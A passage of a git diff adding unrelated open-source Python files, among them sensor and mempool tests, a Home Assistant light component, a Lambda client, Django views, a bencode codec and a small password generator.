names=['d']) + assert sigma == CovarianceMatrix( + [[1]], + names=['d']) + + def test_assignment_of_joint_parameters(self, river_graph): + assert river_graph.nodes['b'].func.joint_mu == MeansVector([ + [3], + [4]], names=['a', 'b']) + assert river_graph.nodes['b'].func.covariance_matrix == CovarianceMatrix([ + [4, 4], + [4, 5]], names=['a', 'b']) + + + def test_gaussian_pdf(self, river_graph): + assert round(river_graph.nodes['a'].func(3), 4) == 0.1995 + assert round(river_graph.nodes['a'].func(10), 4) == 0.0002 + + def test_multivariate_gaussian_pdf(self, river_graph): + assert round(river_graph.nodes['d'].func(3, 1, 3), 4) == 0.0005 diff --git a/pool/shard000/Python/0008590_config.py b/pool/shard000/Python/0008590_config.py new file mode 100644 index 0000000000000000000000000000000000000000..b4eda22156470e3893c4d053ba5d72ad07a39992 --- /dev/null +++ b/pool/shard000/Python/0008590_config.py @@ -0,0 +1,31 @@ +from __future__ import print_function, division, absolute_import + +import os +try: + import yaml +except ImportError: + config = {} +else: + dirname = os.path.dirname(__file__) + default_path = os.path.join(dirname, 'config.yaml') + dask_config_path = os.path.join(os.path.expanduser('~'), '.dask', 'config.yaml') + + + def ensure_config_file(destination=dask_config_path): + if not os.path.exists(destination): + import shutil + if not os.path.exists(os.path.dirname(destination)): + os.mkdir(os.path.dirname(destination)) + shutil.copy(default_path, destination) + + + def load_config_file(path=dask_config_path): + if not os.path.exists(path): + path = default_path + with open(path) as f: + text = f.read() + return yaml.load(text) + + + ensure_config_file() + config = load_config_file() diff --git a/pool/shard000/Python/0008596_test_sensor.py b/pool/shard000/Python/0008596_test_sensor.py new file mode 100644 index 0000000000000000000000000000000000000000..d8842c6c580c0760dc87fddac907c23438616e6f --- /dev/null +++ b/pool/shard000/Python/0008596_test_sensor.py @@ -0,0 +1,158 @@ +from pypozyx import * +from pypozyx.definitions.registers import POZYX_TEMPERATURE, POZYX_PRESSURE, POZYX_MAX_LIN_ACC + +from time import sleep + + +# TODO: other structures than the new ones + +# CONVERSIONS + + +def test_conversions(pozyx, remote): + assert POZYX_ACCEL_DIV_MG == 16.0, "POZYX_ACCEL_DIV_MG wrong, should be 16.0" + assert POZYX_MAX_LIN_ACCEL_DIV_MG == 1.0, "POZYX_MAX_LIN_ACCEL_DIV_MG wrong, should be 1.0" + assert POZYX_GYRO_DIV_DPS == 16.0, "POZYX_GYRO_DIV_DPS wrong, should be 16.0" + assert POZYX_PRESS_DIV_PA == 1000.0, "POZYX_PRESS_DIV_PA wrong, should be 1000.0" + assert POZYX_TEMP_DIV_CELSIUS == 1.0, "POZYX_TEMP_DIV_CELSIUS wrong, should be 1.0" + # TODO: more + +# TEMPERATURE + + +def test_temperature_class(pozyx, remote): + temperature = Temperature() + other_temperature = Temperature() + assert temperature == other_temperature, "default temperature objects aren't equal" + raw_temperature = Data([0], 'b') + assert raw_temperature == temperature, "temperature not right format of Data([0], 'b')" + + +def test_raw_temperature_read(pozyx, remote): + raw_temperature = Data([0], 'b') + status = pozyx.getRead(POZYX_TEMPERATURE, raw_temperature) + assert status == POZYX_SUCCESS, "raw read of temperature unsuccessful" + assert type(raw_temperature[0]) == type( + 1), "temperature value is not an int" + + +def test_temperature_read(pozyx, remote): + temperature = Temperature() + status = pozyx.getTemperature_c(temperature, remote) + assert status == POZYX_SUCCESS, "getTemperature_c unsuccessful" + assert type(temperature.value) == type( + 1.0), "temperature value is not a float" + assert temperature.value > 0, "temperature is freezing" + assert temperature.value < 150, "temperature is way too hot" + float_remainder = temperature.value - int(temperature.value) + assert float_remainder < 0.01, "temperature accuracy not 1 °C" + + +def test_temperature_conversion(pozyx, remote): + temperature = Temperature() + status = pozyx.getTemperature_c(temperature, remote) + assert status == POZYX_SUCCESS, "getTemperature_c unsuccessful" + raw_temperature = Data([0], 'b') + status = pozyx.getRead(POZYX_TEMPERATURE, raw_temperature) + assert status == POZYX_SUCCESS, "raw read of temperature unsuccessful" + assert int(temperature.value * + POZYX_TEMP_DIV_CELSIUS) == raw_temperature[0], "conversion isn't right" + + +# PRESSURE + + +def test_pressure_class(pozyx, remote): + pressure = Pressure() + other_pressure = Pressure() + assert pressure == other_pressure, "default pressure objects aren't equal" + raw_pressure = Data([0], 'I') + assert raw_pressure == pressure, "pressure not right format of Data([0], 'I')" + + +def test_raw_pressure_read(pozyx, remote): + raw_pressure = Data([0], 'I') + status = pozyx.getRead(POZYX_PRESSURE, raw_pressure) + assert status == POZYX_SUCCESS, "raw read of pressure unsuccessful" + assert type(raw_pressure[0]) == type( + 1), "pressure value is not an int" + + +def test_pressure_read(pozyx, remote): + pressure = Pressure() + status = pozyx.getPressure_Pa(pressure, remote) + assert status == POZYX_SUCCESS, "getPressure_c unsuccessful" + assert type(pressure.value) == type( + 1.0), "pressure value is not a float" + + +def test_pressure_conversion(pozyx, remote): + pressure = Pressure() + status = pozyx.getPressure_Pa(pressure, remote) + assert status == POZYX_SUCCESS, "getTemperature_c unsuccessful" + raw_pressure = Data([0], 'I') + status = pozyx.getRead(POZYX_PRESSURE, raw_pressure) + assert status == POZYX_SUCCESS, "raw read of pressure unsuccessful" + assert int(pressure.value * + POZYX_PRESS_DIV_PA) == raw_pressure[0], "conversion isn't right" + + +# MAX_LINEAR_ACCELERATION + + +def test_max_linear_acceleration_class(pozyx, remote): + max_linear_acceleration = MaxLinearAcceleration() + other_max_linear_acceleration = MaxLinearAcceleration() + assert max_linear_acceleration == other_max_linear_acceleration, "default max_linear_acceleration objects aren't equal" + raw_max_linear_acceleration = Data([0], 'h') + assert raw_max_linear_acceleration == max_linear_acceleration, "max_linear_acceleration not right format of Data([0], 'h')" + sleep(0.01) + + +def test_raw_max_linear_acceleration_read(pozyx, remote): + raw_max_linear_acceleration = Data([0], 'h') + status = pozyx.getRead(POZYX_MAX_LIN_ACC, raw_max_linear_acceleration) + assert status == POZYX_SUCCESS, "raw read of max_linear_acceleration unsuccessful" + assert type(raw_max_linear_acceleration[0]) == type( + 1), "max_linear_acceleration value is not an int" + sleep(0.01) + + +def test_max_linear_acceleration_read(pozyx, remote): + max_linear_acceleration = MaxLinearAcceleration() + status = pozyx.getMaxLinearAcceleration_mg(max_linear_acceleration, remote) + assert status == POZYX_SUCCESS, "getMaxLinearAcceleration_mg unsuccessful" + assert type(max_linear_acceleration.value) == type( + 1.0), "max_linear_acceleration value is not a float" + float_remainder = max_linear_acceleration.value - \ + int(max_linear_acceleration.value) + assert float_remainder < 0.01, "max_linear_acceleration accuracy not 1 mg" + sleep(0.01) + + +def test_max_linear_acceleration_conversion(pozyx, remote): + raw_max_linear_acceleration = Data([0], 'h') + status = pozyx.getRead(POZYX_MAX_LIN_ACC, raw_max_linear_acceleration) + assert status == POZYX_SUCCESS, "raw read of max_linear_acceleration unsuccessful" + max_linear_acceleration = MaxLinearAcceleration( + raw_max_linear_acceleration[0]) + assert status == POZYX_SUCCESS, "raw read of max_linear_acceleration unsuccessful" + assert int(max_linear_acceleration.value * + POZYX_MAX_LIN_ACCEL_DIV_MG) == raw_max_linear_acceleration[0], "conversion isn't right" + + +# SENSOR DATA + +def test_all_sensor_data(pozyx, remote): + all_sensor_data = SensorData() + status = pozyx.getAllSensorData(all_sensor_data) + assert status == POZYX_SUCCESS, "getAllSensorData not successful" + + +# ACCELERATION + + +def test_acceleration(pozyx, remote): + acceleration = Acceleration() + status = pozyx.getAcceleration_mg(acceleration) + assert status == POZYX_SUCCESS, "getAcceleration_mg not successful" diff --git a/pool/shard000/Python/0008599_init__.py b/pool/shard000/Python/0008599_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..2b0af395d02f4eb05a7709c1b6d2b068579d8437 --- /dev/null +++ b/pool/shard000/Python/0008599_init__.py @@ -0,0 +1,290 @@ +""" +Provides functionality to interact with lights. + +For more details about this component, please refer to the documentation at +https://home-assistant.io/components/light/ +""" +import logging +import os +import csv + +import voluptuous as vol + +from homeassistant.components import group +from homeassistant.config import load_yaml_config_file +from homeassistant.const import ( + STATE_ON, SERVICE_TURN_ON, SERVICE_TURN_OFF, SERVICE_TOGGLE, + ATTR_ENTITY_ID) +from homeassistant.helpers.entity import ToggleEntity +from homeassistant.helpers.entity_component import EntityComponent +from homeassistant.helpers.config_validation import PLATFORM_SCHEMA # noqa +import homeassistant.helpers.config_validation as cv +import homeassistant.util.color as color_util + + +DOMAIN = "light" +SCAN_INTERVAL = 30 + +GROUP_NAME_ALL_LIGHTS = 'all lights' +ENTITY_ID_ALL_LIGHTS = group.ENTITY_ID_FORMAT.format('all_lights') + +ENTITY_ID_FORMAT = DOMAIN + ".{}" + +# Integer that represents transition time in seconds to make change. +ATTR_TRANSITION = "transition" + +# Lists holding color values +ATTR_RGB_COLOR = "rgb_color" +ATTR_XY_COLOR = "xy_color" +ATTR_COLOR_TEMP = "color_temp" +ATTR_COLOR_NAME = "color_name" + +# int with value 0 .. 255 representing brightness of the light. +ATTR_BRIGHTNESS = "brightness" + +# String representing a profile (built-in ones or external defined). +ATTR_PROFILE = "profile" + +# If the light should flash, can be FLASH_SHORT or FLASH_LONG. +ATTR_FLASH = "flash" +FLASH_SHORT = "short" +FLASH_LONG = "long" + +# Apply an effect to the light, can be EFFECT_COLORLOOP. +ATTR_EFFECT = "effect" +EFFECT_COLORLOOP = "colorloop" +EFFECT_RANDOM = "random" +EFFECT_WHITE = "white" + +LIGHT_PROFILES_FILE = "light_profiles.csv" + +PROP_TO_ATTR = { + 'brightness': ATTR_BRIGHTNESS, + 'color_temp': ATTR_COLOR_TEMP, + 'rgb_color': ATTR_RGB_COLOR, + 'xy_color': ATTR_XY_COLOR, +} + +# Service call validation schemas +VALID_TRANSITION = vol.All(vol.Coerce(int), vol.Clamp(min=0, max=900)) + +LIGHT_TURN_ON_SCHEMA = vol.Schema({ + ATTR_ENTITY_ID: cv.entity_ids, + ATTR_PROFILE: str, + ATTR_TRANSITION: VALID_TRANSITION, + ATTR_BRIGHTNESS: cv.byte, + ATTR_COLOR_NAME: str, + ATTR_RGB_COLOR: vol.All(vol.ExactSequence((cv.byte, cv.byte, cv.byte)), + vol.Coerce(tuple)), + ATTR_XY_COLOR: vol.All(vol.ExactSequence((cv.small_float, cv.small_float)), + vol.Coerce(tuple)), + ATTR_COLOR_TEMP: vol.All(int, vol.Range(min=154, max=500)), + ATTR_FLASH: vol.In([FLASH_SHORT, FLASH_LONG]), + ATTR_EFFECT: vol.In([EFFECT_COLORLOOP, EFFECT_RANDOM, EFFECT_WHITE]), +}) + +LIGHT_TURN_OFF_SCHEMA = vol.Schema({ + ATTR_ENTITY_ID: cv.entity_ids, + ATTR_TRANSITION: VALID_TRANSITION, +}) + +LIGHT_TOGGLE_SCHEMA = vol.Schema({ + ATTR_ENTITY_ID: cv.entity_ids, + ATTR_TRANSITION: VALID_TRANSITION, +}) + +PROFILE_SCHEMA = vol.Schema( + vol.ExactSequence((str, cv.small_float, cv.small_float, cv.byte)) +) + +_LOGGER = logging.getLogger(__name__) + + +def is_on(hass, entity_id=None): + """Return if the lights are on based on the statemachine.""" + entity_id = entity_id or ENTITY_ID_ALL_LIGHTS + return hass.states.is_state(entity_id, STATE_ON) + + +# pylint: disable=too-many-arguments +def turn_on(hass, entity_id=None, transition=None, brightness=None, + rgb_color=None, xy_color=None, color_temp=None, profile=None, + flash=None, effect=None, color_name=None): + """Turn all or specified light on.""" + data = { + key: value for key, value in [ + (ATTR_ENTITY_ID, entity_id), + (ATTR_PROFILE, profile), + (ATTR_TRANSITION, transition), + (ATTR_BRIGHTNESS, brightness), + (ATTR_RGB_COLOR, rgb_color), + (ATTR_XY_COLOR, xy_color), + (ATTR_COLOR_TEMP, color_temp), + (ATTR_FLASH, flash), + (ATTR_EFFECT, effect), + (ATTR_COLOR_NAME, color_name), + ] if value is not None + } + + hass.services.call(DOMAIN, SERVICE_TURN_ON, data) + + +def turn_off(hass, entity_id=None, transition=None): + """Turn all or specified light off.""" + data = { + key: value for key, value in [ + (ATTR_ENTITY_ID, entity_id), + (ATTR_TRANSITION, transition), + ] if value is not None + } + + hass.services.call(DOMAIN, SERVICE_TURN_OFF, data) + + +def toggle(hass, entity_id=None, transition=None): + """Toggle all or specified light.""" + data = { + key: value for key, value in [ + (ATTR_ENTITY_ID, entity_id), + (ATTR_TRANSITION, transition), + ] if value is not None + } + + hass.services.call(DOMAIN, SERVICE_TOGGLE, data) + + +# pylint: disable=too-many-branches, too-many-locals, too-many-statements +def setup(hass, config): + """Expose light control via statemachine and services.""" + component = EntityComponent( + _LOGGER, DOMAIN, hass, SCAN_INTERVAL, GROUP_NAME_ALL_LIGHTS) + component.setup(config) + + # Load built-in profiles and custom profiles + profile_paths = [os.path.join(os.path.dirname(__file__), + LIGHT_PROFILES_FILE), + hass.config.path(LIGHT_PROFILES_FILE)] + profiles = {} + + for profile_path in profile_paths: + if not os.path.isfile(profile_path): + continue + with open(profile_path) as inp: + reader = csv.reader(inp) + + # Skip the header + next(reader, None) + + try: + for rec in reader: + profile, color_x, color_y, brightness = PROFILE_SCHEMA(rec) + profiles[profile] = (color_x, color_y, brightness) + except vol.MultipleInvalid as ex: + _LOGGER.error("Error parsing light profile from %s: %s", + profile_path, ex) + return False + + def handle_light_service(service): + """Hande a turn light on or off service call.""" + # Get the validated data + params = service.data.copy() + + # Convert the entity ids to valid light ids + target_lights = component.extract_from_service(service) + params.pop(ATTR_ENTITY_ID, None) + + service_fun = None + if service.service == SERVICE_TURN_OFF: + service_fun = 'turn_off' + elif service.service == SERVICE_TOGGLE: + service_fun = 'toggle' + + if service_fun: + for light in target_lights: + getattr(light, service_fun)(**params) + + for light in target_lights: + if light.should_poll: + light.update_ha_state(True) + return + + # Processing extra data for turn light on request. + profile = profiles.get(params.pop(ATTR_PROFILE, None)) + + if profile: + params.setdefault(ATTR_XY_COLOR, profile[:2]) + params.setdefault(ATTR_BRIGHTNESS, profile[2]) + + color_name = params.pop(ATTR_COLOR_NAME, None) + + if color_name is not None: + params[ATTR_RGB_COLOR] = color_util.color_name_to_rgb(color_name) + + for light in target_lights: + light.turn_on(**params) + + for light in target_lights: + if light.should_poll: + light.update_ha_state(True) + + # Listen for light on and light off service calls. + descriptions = load_yaml_config_file( + os.path.join(os.path.dirname(__file__), 'services.yaml')) + hass.services.register(DOMAIN, SERVICE_TURN_ON, handle_light_service, + descriptions.get(SERVICE_TURN_ON), + schema=LIGHT_TURN_ON_SCHEMA) + + hass.services.register(DOMAIN, SERVICE_TURN_OFF, handle_light_service, + descriptions.get(SERVICE_TURN_OFF), + schema=LIGHT_TURN_OFF_SCHEMA) + + hass.services.register(DOMAIN, SERVICE_TOGGLE, handle_light_service, + descriptions.get(SERVICE_TOGGLE), + schema=LIGHT_TOGGLE_SCHEMA) + + return True + + +class Light(ToggleEntity): + """Representation of a light.""" + + # pylint: disable=no-self-use, abstract-method + + @property + def brightness(self): + """Return the brightness of this light between 0..255.""" + return None + + @property + def xy_color(self): + """Return the XY color value [float, float].""" + return None + + @property + def rgb_color(self): + """Return the RGB color value [int, int, int].""" + return None + + @property + def color_temp(self): + """Return the CT color value in mireds.""" + return None + + @property + def state_attributes(self): + """Return optional state attributes.""" + data = {} + + if self.is_on: + for prop, attr in PROP_TO_ATTR.items(): + value = getattr(self, prop) + if value: + data[attr] = value + + if ATTR_RGB_COLOR not in data and ATTR_XY_COLOR in data and \ + ATTR_BRIGHTNESS in data: + data[ATTR_RGB_COLOR] = color_util.color_xy_brightness_to_RGB( + data[ATTR_XY_COLOR][0], data[ATTR_XY_COLOR][1], + data[ATTR_BRIGHTNESS]) + + return data diff --git a/pool/shard000/Python/0008603_automateRoundsAdaptive.py b/pool/shard000/Python/0008603_automateRoundsAdaptive.py new file mode 100644 index 0000000000000000000000000000000000000000..90e90cf5aa2ea851f41844e8122044baae86f380 --- /dev/null +++ b/pool/shard000/Python/0008603_automateRoundsAdaptive.py @@ -0,0 +1,68 @@ +from __future__ import absolute_import, division, print_function, unicode_literals +from AdaptivePELE.simulation import simulationrunner +import AdaptivePELE.adaptiveSampling as adaptiveSampling +import argparse +import os + + +def automateSimulation(args): + """ + Run multiple AdaptivePELE simulation with the same parameters, changing + only the seed + + :param args: Object containing the command line arguments + :type args: object + """ + controlFile = args.controlFile + numSimulations = args.numSimulations + nProcessors = args.nProcessors + nSteps = args.nSteps + simulationName = args.simulationName + simulationParameters = simulationrunner.SimulationParameters() + simulationParameters.templetizedControlFile = controlFile + simulationRunner = simulationrunner.SimulationRunner(simulationParameters) + epochs = args.epochs + if epochs: + rangeOfEpochs = epochs + else: + rangeOfEpochs = list(range(1, numSimulations+1)) + print("rangeOfEpochs", rangeOfEpochs) + + for i in rangeOfEpochs: + controlFileDictionary = {"SEED": "%d%d%d", "OUTPUTPATH": "%s_%d"} + SEED_i = int(controlFileDictionary["SEED"] % (i, nProcessors, nSteps)) + controlFileDictionary["SEED"] = SEED_i + outputPath_i = controlFileDictionary["OUTPUTPATH"] % (simulationName, i) + controlFileDictionary["OUTPUTPATH"] = outputPath_i + controlFileName = "tmp_%s_controlfile_%s_%d.conf" % (os.path.splitext(controlFile)[0], simulationName, i) + controlFileName = controlFileName.replace("/", "_") + simulationRunner.makeWorkingControlFile(controlFileName, controlFileDictionary) + print("Starting simulation %d" % i) + adaptiveSampling.main(controlFileName) + + +def parseArguments(): + """ + Parse the command line arguments + """ + parser = argparse.ArgumentParser(description="Automate the process " + "of repeating simulations") + parser.add_argument('controlFile', type=str) + parser.add_argument('numSimulations', type=int) + parser.add_argument('nProcessors', type=int) + parser.add_argument('nSteps', type=int) + parser.add_argument('simulationName', type=str) + parser.add_argument("-e", "--epochs", nargs='*', type=int, help="Epochs to run") + args = parser.parse_args() + return args + + +def main(): + """ + Run the multiple simulations + """ + args = parseArguments() + automateSimulation(args) + +if __name__ == "__main__": + main() diff --git a/pool/shard000/Python/0008604_lambdaclient.py b/pool/shard000/Python/0008604_lambdaclient.py new file mode 100644 index 0000000000000000000000000000000000000000..f61fc403225485cefe259165b1489ad6a7ba8d3e --- /dev/null +++ b/pool/shard000/Python/0008604_lambdaclient.py @@ -0,0 +1,136 @@ +# Copyright (c) 2016 CloudNative, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"). You +# may not use this file except in compliance with the License. A copy of +# the License is located at +# +# http://aws.amazon.com/apache2.0/ +# +# or in the "license" file accompanying this file. This file is +# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF +# ANY KIND, either express or implied. See the License for the specific +# language governing permissions and limitations under the License. + +import logging +import json + +import boto3 +import botocore.exceptions + +from cruddy.response import CRUDResponse + +LOG = logging.getLogger(__name__) + + +class LambdaClient(object): + + def __init__(self, func_name, profile_name=None, + region_name=None, **kwargs): + self.__name__ = func_name + self._lambda_client = None + session = boto3.Session( + profile_name=profile_name, region_name=region_name) + self._lambda_client = session.client('lambda') + + def invoke(self, payload): + try: + response = self._lambda_client.invoke( + FunctionName=self.__name__, + InvocationType='RequestResponse', + Payload=json.dumps(payload) + ) + LOG.debug('response: %s', response) + if response.get('StatusCode') == 200: + payload = response['Payload'].read() + LOG.debug('response.payload: %s', payload) + try: + response = json.loads(payload) + except ValueError: + # Probably a plain text response, or an error... + response = payload + print(response) + return CRUDResponse(response_data=response) + else: + LOG.error('Call to lambda function %s failed', self.__name__) + LOG.error(response.get('FunctionError')) + LOG.error(response.get('ResponseMetadata')) + return False + except botocore.exceptions.ClientError: + LOG.exception('Could not call Lambda function %s', self.__name__) + raise + + def call_operation(self, operation, **kwargs): + """ + A generic method to call any operation supported by the Lambda handler + """ + data = {'operation': operation} + data.update(kwargs) + return self.invoke(data) + + def ping(self, **kwargs): + data = {'operation': 'describe'} + data.update(kwargs) + return self.invoke(data) + + def describe(self, **kwargs): + data = {'operation': 'describe'} + data.update(kwargs) + return self.invoke(data) + + def help(self, **kwargs): + data = {'operation': 'help'} + data.update(kwargs) + return self.invoke(data) + + def list(self, **kwargs): + data = {'operation': 'list'} + data.update(kwargs) + return self.invoke(data) + + def get(self, item_id, **kwargs): + data = {'operation': 'get', + 'id': item_id} + data.update(kwargs) + return self.invoke(data) + + def create(self, item, **kwargs): + data = {'operation': 'create', + 'item': item} + data.update(kwargs) + return self.invoke(data) + + def update(self, item, **kwargs): + data = {'operation': 'update', + 'item': item} + encrypt = kwargs.get('encrypt', True) + data['encrypt'] = encrypt + data.update(kwargs) + return self.invoke(data) + + def delete(self, item_id, **kwargs): + data = {'operation': 'delete', + 'id': item_id} + data.update(kwargs) + return self.invoke(data) + + def bulk_delete(self, query, **kwargs): + data = {'operation': 'bulk_delete', + 'query': query} + data.update(kwargs) + return self.invoke(data) + + def search(self, query, **kwargs): + data = {'operation': 'search', + 'query': query} + data.update(kwargs) + return self.invoke(data) + + def increment(self, item_id, counter_name, **kwargs): + id_name = kwargs.get('id_name', 'id') + increment = kwargs.get('increment', 1) + data = {'operation': 'increment_counter', + id_name: item_id, + 'counter_name': counter_name, + 'increment': increment} + data.update(kwargs) + return self.invoke(data) diff --git a/pool/shard000/Python/0008606_views.py b/pool/shard000/Python/0008606_views.py new file mode 100644 index 0000000000000000000000000000000000000000..b6f79782ec2e407df3e7bec5e9571d8eabecb24f --- /dev/null +++ b/pool/shard000/Python/0008606_views.py @@ -0,0 +1,140 @@ +from pathlib import PurePath +from tempfile import mkdtemp + +from django.core.urlresolvers import reverse +from django.http import HttpResponse +from django.views.generic import RedirectView +from django.views.generic.detail import SingleObjectMixin +from viewflow.models import Task +from viewflow.flow.views import UpdateProcessView + +from .io.xlsx import generate_template +from .forms import SubmissionTagsForm +from .models import SubmissionProcess +from .utils import is_hidden_task + + +class NextTaskRedirectView(SingleObjectMixin, + RedirectView): + + model = SubmissionProcess + pk_url_kwarg = 'process_pk' + + def get_process_tasks(self, process, user): + + task_class = process.flow_class.task_class + return task_class._default_manager.user_queue(user).filter( + process=process + ) + + def get_redirect_url(self, *args, **kwargs): + + namespace = self.request.resolver_match.namespace + process = self.get_object() + task_pk = kwargs.get('task_pk') + user_tasks = self.get_process_tasks(process, self.request.user) + + default_url = reverse( + '{}:detail'.format(namespace), + kwargs={'process_pk': process.pk} + ) + + if not user_tasks.exists(): + return default_url + + try: + task = user_tasks.get(pk=task_pk) + except Task.DoesNotExist: + return default_url + + def get_next_task(task): + if task.leading.count(): + next_task = task.leading.get() + if is_hidden_task(str(next_task.flow_task).lower()): + return get_next_task(next_task) + return next_task + return task + + next_task = get_next_task(task) + return next_task.flow_task.get_task_url( + next_task, + url_type='guess', + user=self.request.user, + namespace=namespace + ) + + +class DownloadXLSXTemplateView(UpdateProcessView): + + template_name = 'submission/download_xlsx_template.html' + + def get_context_data(self, **kwargs): + + process = self.get_object() + + ctx = super().get_context_data(**kwargs) + ctx.update({ + 'task_list': process.task_set.all().order_by('created'), + }) + + return ctx + + def post(self, request, *args, **kwargs): + + template_file_name = 'meta.xlsx' + template_path = PurePath(mkdtemp(), template_file_name) + checksum, version = generate_template(filename=template_path) + + process = self.get_object() + process.downloaded = True + process.template_checksum = checksum + process.template_version = version + process.save() + self.activation_done() + + response = HttpResponse( + content_type=( + 'application/vnd' + '.openxmlformats-officedocument' + '.spreadsheetml' + '.sheet' + ) + ) + content_disposition = 'attachment; filename="{}"'.format( + '{}-{}.xlsx'.format( + template_path.stem, + version[:8] + ) + ) + response['Content-Disposition'] = content_disposition + + with open(template_path, 'rb') as template: + response.write(template.read()) + + return response + + +class UploadArchiveView(UpdateProcessView): + + template_name = 'submission/upload_archive.html' + fields = ['archive', ] + + def form_valid(self, form): + + process = form.save(commit=False) + process.uploaded = True + process.save() + + return super().form_valid(form) + + +class ArchiveValidationView(UpdateProcessView): + + template_name = 'submission/validation.html' + fields = ['validated', ] + + +class TagsView(UpdateProcessView): + + template_name = 'submission/tags.html' + form_class = SubmissionTagsForm diff --git a/pool/shard000/Python/0008607_bencode.py b/pool/shard000/Python/0008607_bencode.py new file mode 100644 index 0000000000000000000000000000000000000000..1ee1d66f0db068c13a489c250b3a87a27154e6cc --- /dev/null +++ b/pool/shard000/Python/0008607_bencode.py @@ -0,0 +1,136 @@ +# The contents of this file are subject to the BitTorrent Open Source License +# Version 1.1 (the License). You may not copy or use this file, in either +# source code or executable form, except in compliance with the License. You +# may obtain a copy of the License at http://www.bittorrent.com/license/. +# +# Software distributed under the License is distributed on an AS IS basis, +# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License +# for the specific language governing rights and limitations under the +# License. + +# Written by Petru Paler + +from BitTorrent.obsoletepythonsupport import * + +from BitTorrent import BTFailure + +def decode_int(x, f): + f += 1 + newf = x.index('e', f) + n = int(x[f:newf]) + if x[f] == '-': + if x[f + 1] == '0': + raise ValueError + elif x[f] == '0' and newf != f+1: + raise ValueError + return (n, newf+1) + +def decode_string(x, f): + colon = x.index(':', f) + n = int(x[f:colon]) + if x[f] == '0' and colon != f+1: + raise ValueError + colon += 1 + return (x[colon:colon+n], colon+n) + +def decode_list(x, f): + r, f = [], f+1 + while x[f] != 'e': + v, f = decode_func[x[f]](x, f) + r.append(v) + return (r, f + 1) + +def decode_dict(x, f): + r, f = {}, f+1 + lastkey = None + while x[f] != 'e': + k, f = decode_string(x, f) + if lastkey >= k: + raise ValueError + lastkey = k + r[k], f = decode_func[x[f]](x, f) + return (r, f + 1) + +decode_func = {} +decode_func['l'] = decode_list +decode_func['d'] = decode_dict +decode_func['i'] = decode_int +decode_func['0'] = decode_string +decode_func['1'] = decode_string +decode_func['2'] = decode_string +decode_func['3'] = decode_string +decode_func['4'] = decode_string +decode_func['5'] = decode_string +decode_func['6'] = decode_string +decode_func['7'] = decode_string +decode_func['8'] = decode_string +decode_func['9'] = decode_string + +def bdecode(x): + try: + r, l = decode_func[x[0]](x, 0) + except (IndexError, KeyError, ValueError): + raise BTFailure, _("not a valid bencoded string") + if l != len(x): + raise BTFailure, _("invalid bencoded value (data after valid prefix)") + return r + +from types import StringType, IntType, LongType, DictType, ListType, TupleType + + +class Bencached(object): + + __slots__ = ['bencoded'] + + def __init__(self, s): + self.bencoded = s + +def encode_bencached(x,r): + r.append(x.bencoded) + +def encode_int(x, r): + r.extend(('i', str(x), 'e')) + +def encode_bool(x, r): + if x: + encode_int(1, r) + else: + encode_int(0, r) + +def encode_string(x, r): + r.extend((str(len(x)), ':', x)) + +def encode_list(x, r): + r.append('l') + for i in x: + encode_func[type(i)](i, r) + r.append('e') + +def encode_dict(x,r): + r.append('d') + ilist = x.items() + ilist.sort() + for k, v in ilist: + r.extend((str(len(k)), ':', k)) + encode_func[type(v)](v, r) + r.append('e') + +encode_func = {} +encode_func[Bencached] = encode_bencached +encode_func[IntType] = encode_int +encode_func[LongType] = encode_int +encode_func[StringType] = encode_string +encode_func[ListType] = encode_list +encode_func[TupleType] = encode_list +encode_func[DictType] = encode_dict + +try: + from types import BooleanType + encode_func[BooleanType] = encode_bool +except ImportError: + pass + +def bencode(x): + r = [] + encode_func[type(x)](x, r) + return ''.join(r) diff --git a/pool/shard000/Python/0008608_004.py b/pool/shard000/Python/0008608_004.py new file mode 100644 index 0000000000000000000000000000000000000000..c53adbee6e037de8d34ef129131802eaae57c6ff --- /dev/null +++ b/pool/shard000/Python/0008608_004.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +from random import sample + +characters = '''\ +abcdefghijklmnopqrstuvwxyz\ +ABCDEFGHIJKLMNOPQRSTUVWXYZ\ +0123456789!@#$%^&*()_+-=?~\ +''' + +length = int(input('What is the desired length? ').strip()) +amount = int(input('How many passwords? ').strip()) + +for i in range(amount): + print(''.join(sample(characters, length))) diff --git a/pool/shard000/Python/0008619_mempool_unbroadcast.py b/pool/shard000/Python/0008619_mempool_unbroadcast.py new file mode 100644 index 0000000000000000000000000000000000000000..7d9e6c306d8ac18f958e04a250e4ac7d74d96d68 --- /dev/null +++ b/pool/shard000/Python/0008619_mempool_unbroadcast.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 +# Copyright (c) 2017-2020 The Bitcoin Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +"""Test that the mempool ensures transaction delivery by periodically sending +to peers until a GETDATA is received.""" + +import time + +from test_framework.p2p import P2PTxInvStore +from test_framework.test_framework import BitcoinTestFramework +from test_framework.util import ( + assert_equal, + create_confirmed_utxos, +) + +MAX_INITIAL_BROADCAST_DELAY = 15 * 60 # 15 minutes in seconds + +class MempoolUnbroadcastTest(BitcoinTestFramework): + def set_test_params(self): + self.num_nodes = 2 + + def skip_test_if_missing_module(self): + self.skip_if_no_wallet() + + def run_test(self): + self.test_broadcast() + self.test_txn_removal() + + def test_broadcast(self): + self.log.info("Test that mempool reattempts delivery of locally submitted transaction") + node = self.nodes[0] + + min_relay_fee = node.getnetworkinfo()["relayfee"] + utxos = create_confirmed_utxos(min_relay_fee, node, 10) + + self.disconnect_nodes(0, 1) + + self.log.info("Generate transactions that only node 0 knows about") + + # generate a wallet txn + addr = node.getnewaddress() + wallet_tx_hsh = node.sendtoaddress(addr, 0.0001) + + # generate a txn using sendrawtransaction + us0 = utxos.pop() + inputs = [{"txid": us0["txid"], "vout": us0["vout"]}] + outputs = {addr: 0.0001} + tx = node.createrawtransaction(inputs, outputs) + node.settxfee(min_relay_fee) + txF = node.fundrawtransaction(tx) + txFS = node.signrawtransactionwithwallet(txF["hex"]) + rpc_tx_hsh = node.sendrawtransaction(txFS["hex"]) + + # check transactions are in unbroadcast using rpc + mempoolinfo = self.nodes[0].getmempoolinfo() + assert_equal(mempoolinfo['unbroadcastcount'], 2) + mempool = self.nodes[0].getrawmempool(True) + for tx in mempool: + assert_equal(mempool[tx]['unbroadcast'], True) + + # check that second node doesn't have these two txns + mempool = self.nodes[1].getrawmempool() + assert rpc_tx_hsh not in 